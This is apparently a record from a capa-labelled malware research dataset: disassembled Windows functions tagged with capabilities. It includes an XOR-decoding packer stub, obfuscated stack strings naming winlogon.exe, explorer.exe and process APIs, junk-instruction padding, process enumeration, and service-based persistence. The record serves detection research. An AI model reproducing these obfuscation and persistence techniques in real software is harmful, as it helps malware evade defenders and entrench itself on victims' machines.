joyce8/EMBER2024-capa huggingface dataset:
Function at 0x460957
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004537f8
and dword [ebp - 4], 0
cmp dword [0x491318], 0
mov ebx, eax
jne 0x460a08
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x460ab9
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x47aac4
push edi
call esi
test eax, eax
je 0x460ab9
push eax
call fcn.00453786
mov dword [esp], 0x47aab4
push edi
mov dword [0x491318], eax
call esi
push eax
call fcn.00453786
mov dword [esp], 0x47aaa0
push edi
mov dword [0x49131c], eax
call esi
push eax
call fcn.00453786
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x491320], eax
call esi
push eax
call fcn.00453786
pop ecx
mov dword [0x491328], eax
test eax, eax
je 0x460a08
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00453786
pop ecx
mov dword [0x491324], eax
mov eax, dword [0x491324]
cmp eax, ebx
je 0x460a60
cmp dword [0x491328], ebx
je 0x460a60
push eax
call fcn.00453801
push dword [0x491328]
mov esi, eax
call fcn.00453801
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x460a60
test edi, edi
je 0x460a60
call esi
test eax, eax
je 0x460a57
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x460a57
test byte [ebp - 0xc], 1
jne 0x460a60
or dword [ebp + 0x10], 0x200000
jmp 0x460a99
mov eax, dword [0x49131c]
cmp eax, ebx
je 0x460a99
push eax
call fcn.00453801
pop ecx
test eax, eax
je 0x460a99
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x460a99
mov eax, dword [0x491320]
cmp eax, ebx
je 0x460a99
push eax
call fcn.00453801
pop ecx
test eax, eax
je 0x460a99
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x491318]
call fcn.00453801
pop ecx
test eax, eax
je 0x460ab9
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x460abb
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..pdata
nop
mov ebx, 0x408f6c
mov ecx, 0x53cc6c60
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..pdata_1
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0x66740db2
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0xa7c42b
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00a7c3a7
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0xa7c5a3
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0xa7c5a3
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0xa7c552
jg 0xa7c484
test eax, eax
je 0xa7c548
push 1
push 0x1000
call fcn.00a66151
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0xa7c4aa
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0xa7c53f
push 0x8000
push ebx
call fcn.00a6480e
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0xa7c4d6
jg 0xa7c4d1
cmp ecx, 0x1000
jb 0xa7c4d6
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00a7bca7
add esp, 0x10
cmp eax, 0xffffffff
je 0xa7c51b
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0xa7c4d1
jl 0xa7c502
test ecx, ecx
jne 0xa7c4c3
push dword [ebp - 0xc]
push ebx
call fcn.00a6480e
push esi
call fcn.00a66e78
add esp, 0xc
xor edi, edi
jmp 0xa7c5b4
cmp byte [edi + 0x24], 0
je 0xa7c532
cmp dword [edi + 0x20], 5
jne 0xa7c532
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0xa7c53d
mov edi, dword [edi + 0x18]
jmp 0xa7c53f
xor edi, edi
push esi
call fcn.00a66e78
pop ecx
jmp 0xa7c5b4
test ecx, ecx
jg 0xa7c514
jl 0xa7c552
test eax, eax
jae 0xa7c514
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00a70e77
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0xa7c575
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0xa7c514
jmp 0xa7c5ac
push ebx
call fcn.00a75753
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0xa7c514
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0xa7c5b4
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0xa7c5b1
mov edi, dword [edi + 0x18]
jmp 0xa7c5b4
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.00a70e77
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0xa8238d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x408905
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
mov esi, dword [esp]
add esp, 4
sub ebx, edx
call fcn.00408926
dec ebx
and edx, ebx
xor dword [edi], esi
inc edx
inc edi
dec edx
sub edx, edx
cmp edi, eax
jne fcn.00408905
ret
Function at 0x1002eafd
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x10]
push eax
push 1
call fcn.1002e827
add esp, 0xc
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x1002eb2d
xor eax, eax
jmp 0x1002ec83
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
je 0x1002eb4b
xor eax, eax
jmp 0x1002ec83
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 1
call fcn.1002e865
add esp, 0xc
cmp dword [ebp - 0xc], 0
jne 0x1002eb6a
xor eax, eax
jmp 0x1002ec83
push dword [ebp - 0x10]
push 1
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0xc]
push eax
push 0x79f3
lea eax, [ebp - 0x24]
push eax
push 0x40f
push 0x990
call fcn.1002e6be
add esp, 0x24
push dword [ebp + 8]
push dword [ebp - 8]
push 0
push dword [ebp - 4]
call fcn.100276d5
add esp, 0x10
lea eax, [ebp - 0x14]
push eax
push 1
lea eax, [ebp - 0xc]
push eax
push 0x2ce1
push 0x3c0a
push 0x144
push 0x5296
push 0x5041
push 0x110f
lea eax, [ebp - 8]
push eax
call fcn.1002e8b7
add esp, 0x28
cmp dword [ebp - 0x14], 0
je 0x1002ec08
lea eax, [ebp - 4]
push eax
push 0x380e
lea eax, [ebp - 0x14]
push eax
push 0x3514
push 1
push 0x35d3
push 0x5b9b
call fcn.1002e9e4
add esp, 0x1c
push dword [ebp - 4]
call fcn.1002e4d5
pop ecx
test eax, eax
jne 0x1002ec19
xor eax, eax
jmp 0x1002ec83
push 1
lea eax, [ebp - 4]
push eax
call fcn.1002ea7f
pop ecx
pop ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x1002ec6b
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x18], ecx
jne 0x1002ec45
xor eax, eax
jmp 0x1002ec83
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x1002ec5e
xor eax, eax
jmp 0x1002ec83
lea eax, [ebp - 4]
push eax
push 1
call fcn.1002eac1
pop ecx
pop ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
je 0x1002ec7c
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
jmp 0x1002ec80
and dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x10077052
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1007f330]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.100695f4
mov dword [ebp - 0x14], eax
cmp dword [0x1066c48c], esi
jne 0x10077145
push 0x800
push esi
push 0x10007b6c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x100770d2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x10077225
push esi
push esi
push 0x10007b6c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x10077225
push 0x10007b84
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10077225
push eax
call ebx
push 0x10007b90
push edi
mov dword [0x1066c48c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007ba0
push edi
mov dword [0x1066c490], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007bb4
push edi
mov dword [0x1066c494], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1066c49c], eax
test eax, eax
je 0x10077142
push 0x10007bd0
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1066c498], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1007716a
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1007715d
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x1007717f
push 4
pop eax
jmp 0x10077227
cmp dword [ebp - 0x14], esi
je 0x1007717f
push dword [0x1066c48c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x10077164
mov eax, dword [0x1066c498]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x100771dd
cmp dword [0x1066c49c], edi
je 0x100771dd
push eax
call ebx
push dword [0x1066c49c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x100771dd
test eax, eax
je 0x100771dd
call ecx
test eax, eax
je 0x100771d2
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x100771d2
test byte [ebp - 8], 1
jne 0x100771dd
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x1007720d
mov eax, dword [0x1066c490]
cmp eax, edi
je 0x1007720a
push eax
call ebx
test eax, eax
je 0x1007720a
call eax
mov esi, eax
test esi, esi
je 0x1007720a
mov eax, dword [0x1066c494]
cmp eax, edi
je 0x1007720a
push eax
call ebx
test eax, eax
je 0x1007720a
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x1066c48c]
call ebx
test eax, eax
je 0x10077225
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x10077227
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call main
mov esp, ebp
pop ebp
ret
Function at 0x100023d4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x100070a0
cmp edx, dword [eax]
je 0x100023f6
add eax, 8
inc ecx
cmp eax, 0x10007130
jl 0x100023e7
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x100070a0]
jne 0x10002524
mov eax, dword [0x100073ac]
cmp eax, 1
je 0x100024fe
test eax, eax
jne 0x10002427
cmp dword [0x100073b0], 1
je 0x100024fe
cmp edx, 0xfc
je 0x10002524
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1000245e
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.100027a0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.10002890
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x100024a1
lea eax, [ebp - 0x1a4]
push eax
call fcn.10002890
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x10005384
push edi
call fcn.10003910
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.100027a0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.100027b0
lea eax, [ebp - 0xa0]
push 0x10005364
push eax
call fcn.100027b0
push dword [esi + 0x100070a4]
lea eax, [ebp - 0xa0]
push eax
call fcn.100027b0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.1000387e
add esp, 0x2c
pop edi
jmp 0x10002524
lea eax, [ebp + 8]
lea esi, [esi + 0x100070a4]
push 0
push eax
push dword [esi]
call fcn.10002890
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x44c014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0x57
call fcn.0040d702
xor ecx, ecx
inc ecx
test eax, eax
cmovs eax, ecx
cmp eax, 0xfffffffd
jl 0x401114
push ecx
mov ecx, 0x27b13ecc
mov ecx, 0x11911498
sbb ecx, esi
nop
pop ecx
mov word [ebp - 0x1f], 0x6f72
call fcn.0040d702
test eax, eax
push 1
pop esi
cmovs eax, esi
cmp eax, 0xffffffde
jge 0x40105f
call fcn.004028b7
mov dword [ebp - 0x1d], 0x4e20676e
mov word [ebp - 0x19], 0x6d75
call fcn.0040d702
test eax, eax
cmovs eax, esi
cmp eax, 0xffffffdf
jl 0x401114
mov dword [ebp - 0x17], 0x20726562
mov dword [ebp - 0x13], 0x4120664f
mov dword [ebp - 0xf], 0x6d756772
mov byte [ebp - 0xb], 0x65
call fcn.0040d702
test eax, eax
cmovs eax, esi
cmp eax, 0xfffffffc
jl 0x401114
mov dword [ebp - 0xa], 0x73746e
push ebx
mov ebx, 0xe87c12a9
sbb ebx, esi
add ebx, edx
sbb ebx, esi
or ebx, ebx
nop
pop ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push eax
add eax, esp
add eax, esp
xor eax, esp
add eax, esp
add eax, esp
pop eax
xor eax, eax
mov edx, eax
cmp dword [ebp + 0xc], eax
jle 0x4010f4
mov ebx, dword [ebp - 0x24]
sub eax, 1
push 0x18
pop ecx
cmovs eax, ecx
mov cl, byte [ebp + eax - 0x20]
xor byte [ebx + edx], cl
inc edx
cmp edx, dword [ebp + 0xc]
jl 0x4010de
push ebp
xor ebp, eax
mov ebp, 0xee5dcd40
mov ebp, 0x62c62d95
pop ebp
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x24]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0040342f
leave
ret
call fcn.00402865
int3
Function at 0x40147c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x168
mov eax, 0x441527
call fcn.00403519
mov ecx, dword [ebp + 0xc]
lea edx, [ebp - 0x24]
xor ebx, ebx
mov dword [ebp - 0x174], ecx
test ecx, ecx
mov dword [ebp - 0x168], ebx
lea edi, [ebp - 0x34]
mov dword [ebp - 4], ebx
mov eax, ebx
mov dword [ebp - 0x15c], 0x128
cmove edx, edi
mov dword [ebp - 0x160], eax
mov esi, ebx
mov dword [ebp - 0x24], 0x6c6e6977
mov dword [ebp - 0x20], 0x6e6f676f
mov ecx, ebx
mov dword [ebp - 0x1c], 0x6578652e
mov byte [ebp - 0x18], bl
mov dword [ebp - 0x34], 0x6c707865
mov dword [ebp - 0x30], 0x7265726f
mov dword [ebp - 0x2c], 0x6578652e
mov byte [ebp - 0x28], bl
mov dword [ebp - 0x170], edx
mov dword [ebp - 0x16c], ebx
cmp ecx, 0x12c
jge 0x401602
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp - 0x15c]
push eax
push esi
mov dword [ebp - 0x164], esi
call fcn.00401b01
pop ecx
pop ecx
test eax, eax
je 0x401604
push esi
mov esi, 0xc4240568
add esi, esp
sbb esi, edx
sbb esi, eax
add esi, esi
sbb esi, esp
pop esi
mov esi, dword [ebp - 0x164]
push dword [ebp - 0x170]
lea eax, [ebp - 0x138]
push eax
call fcn.0040d620
pop ecx
pop ecx
test eax, eax
jne 0x4015a3
lea eax, [ebp - 0x168]
push eax
push dword [ebp - 0x154]
call dword [0x456628]
test eax, eax
je 0x4015a3
mov eax, dword [ebp + 8]
cmp dword [ebp - 0x168], eax
jne 0x4015a3
push eax
mov eax, 0x25e1a061
mov eax, 0x9346fab1
and eax, ecx
nop
pop eax
mov eax, dword [ebp - 0x154]
mov esi, dword [ebp - 0x164]
mov dword [ebp - 0x160], eax
jmp 0x4015ba
lea eax, [ebp - 0x15c]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401546
mov eax, dword [ebp - 0x160]
cmp dword [ebp - 0x174], 0
jne 0x401602
test eax, eax
jne 0x401602
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call fcn.004024f3
mov eax, dword [ebp - 0x160]
pop ecx
mov ecx, dword [ebp - 0x16c]
inc ecx
xor ebx, ebx
mov dword [ebp - 0x16c], ecx
jmp 0x4014fc
mov ebx, eax
push esi
call fcn.004024f3
pop ecx
mov eax, ebx
call fcn.00403466
ret
Function at 0x40178a
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x44c014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x400
lea eax, [ebp - 0x40c]
push esi
xor ebx, ebx
push ebx
push eax
call fcn.00404970
add esp, 0xc
lea eax, [ebp - 0x40c]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor ecx, ecx
inc ecx
test eax, eax
cmovs eax, ecx
cmp eax, 0xfffffffa
jge 0x4017ed
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetClientRect]
call fcn.004028b7
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x410], eax
push ebp
sbb ebp, esi
add ebp, eax
sbb ebp, edx
sbb ebp, esp
add ebp, esi
sbb ebp, eax
sub ebp, ecx
nop
pop ebp
cmp dword [ebp - 0x410], 0
je 0x4018e0
call fcn.0040d702
test eax, eax
push 1
pop ecx
cmovs eax, ecx
cmp eax, 0xfffffffb
jl 0x4018f1
mov dword [ebp - 0xc], 0x65736142
mov byte [ebp - 8], 0
push ebp
mov ebp, 0x61718397
xor ebp, edx
nop
pop ebp
xor ecx, ecx
lea eax, [ebp - 0xc]
push ecx
push ecx
push ecx
push ecx
push eax
lea eax, [ebp - 0x40c]
push eax
push ecx
push 2
push 0x10
push 0xf01ff
push 0x4566a8
push 0x456668
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x414], eax
push esi
add esi, esp
add esi, esp
xor esi, esp
add esi, esp
nop
pop esi
call fcn.0040d702
test eax, eax
push 1
pop ecx
cmovs eax, ecx
cmp eax, 0xfffffffb
jge 0x4018aa
push 0
call dword [sym.imp.USER32.dll_SetThreadDesktop]
call fcn.00402963
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [ebp - 0x414], 0
je 0x4018e0
push esi
xor esi, esp
mov esi, 0x40f1c2b
nop
pop esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push dword [ebp - 0x414]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
inc eax
jmp 0x4018e2
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040342f
leave
ret
call fcn.00402865
int3

Function at 0x401a74
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x44c014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x6e72654b
mov dword [ebp - 0x1c], 0x32336c65
mov dword [ebp - 0x18], 0x6c6c642e
mov byte [ebp - 0x14], 0
mov dword [ebp - 0x10], 0x6e65704f
mov dword [ebp - 0xc], 0x636f7250
mov dword [ebp - 8], 0x737365
push ebx
xor ebx, esi
xor ebx, esp
sbb ebx, edx
xor ebx, eax
xor ebx, esi
sbb ebx, esp
xor ebx, edx
nop
pop ebx
lea eax, [ebp - 0x10]
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00401a05
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040342f
leave
ret
Function at 0x401b01
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x44c014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x28], eax
push eax
mov eax, 0xb3671dd4
sbb eax, esi
xor eax, esi
pop eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x14], 0x6e72654b
mov dword [ebp - 0x10], 0x32336c65
push dword [ebp - 0x28]
mov dword [ebp - 0xc], 0x6c6c642e
push dword [ebp - 0x2c]
mov byte [ebp - 8], 0
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x24], 0x636f7250
push eax
mov dword [ebp - 0x20], 0x33737365
mov dword [ebp - 0x1c], 0x72694632
mov word [ebp - 0x18], 0x7473
mov byte [ebp - 0x16], 0
call fcn.00401a05
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040342f
leave
ret

Function at 0x401c15
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x44c014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov dword [ebp - 0x2c], eax
push edi
sbb edi, eax
add edi, esi
sbb edi, esp
sbb edi, edx
add edi, eax
pop edi
movaps xmm0, xmmword [0x442290]
lea eax, [ebp - 0x28]
mov dword [ebp - 0x14], 0x61737477
push dword [ebp - 0x2c]
mov dword [ebp - 0x10], 0x32336970
push dword [ebp + 8]
mov dword [ebp - 0xc], 0x6c6c642e
push eax
lea eax, [ebp - 0x14]
mov byte [ebp - 8], 0
push eax
movups xmmword [ebp - 0x28], xmm0
mov word [ebp - 0x18], 0x6e
call fcn.00401a05
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040342f
leave
ret
Function at 0x401c8a
Capabilities:
Contain obfuscated stackstrings
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x44c014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], 0x61766441
mov dword [ebp - 0x20], 0x32336970
mov dword [ebp - 0x1c], 0x6c6c642e
mov byte [ebp - 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebx], eax
push edx
add edx, esp
sbb edx, esi
xor edx, esp
add edx, esp
add edx, esp
xor edx, esp
nop
pop edx
mov eax, dword [ebp - 0x28]
xor ebx, ebx
cmp dword [eax], ebx
je 0x401d67
call fcn.0040d702
push 5
test eax, eax
pop ecx
cmovs eax, ecx
cmp eax, 0xffffffcb
jge 0x401d11
call fcn.004028b7
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x6e65704f
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x10], 0x76726553
push eax
mov dword [ebp - 0xc], 0x41656369
mov byte [ebp - 8], bl
call fcn.00401a05
pop ecx
pop ecx
mov dword [ebp - 0x2c], eax
push esi
mov esi, 0x3015fbe4
mov esi, 0xd5b08d6c
sub esi, ecx
or esi, ebx
pop esi
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x401d67
mov eax, dword [ebp - 0x28]
push 0xf01ff
push 0x456668
push dword [eax]
call ecx
test eax, eax
jne 0x401d69
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040342f
leave
ret

Function at 0x402444
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
call fcn.0040d702
xor ecx, ecx
inc ecx
test eax, eax
cmovs eax, ecx
cmp eax, 0xfffffffb
jge 0x40246c
call fcn.004028b7
push 0
call dword [sym.imp.USER32.dll_GetDC]
push edx
xor edx, esi
sbb edx, esp
xor edx, edx
xor edx, eax
or edx, edi
nop
pop edx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
call fcn.00401c8a
mov dword [ebp - 8], eax
pop ecx
test eax, eax
je 0x4024d9
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0xc], eax
push edx
add edx, edx
xor edx, eax
add edx, esi
add edx, esp
xor edx, edx
add edx, eax
add edx, esi
pop edx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call fcn.0040d702
test eax, eax
push 1
pop ecx
cmovs eax, ecx
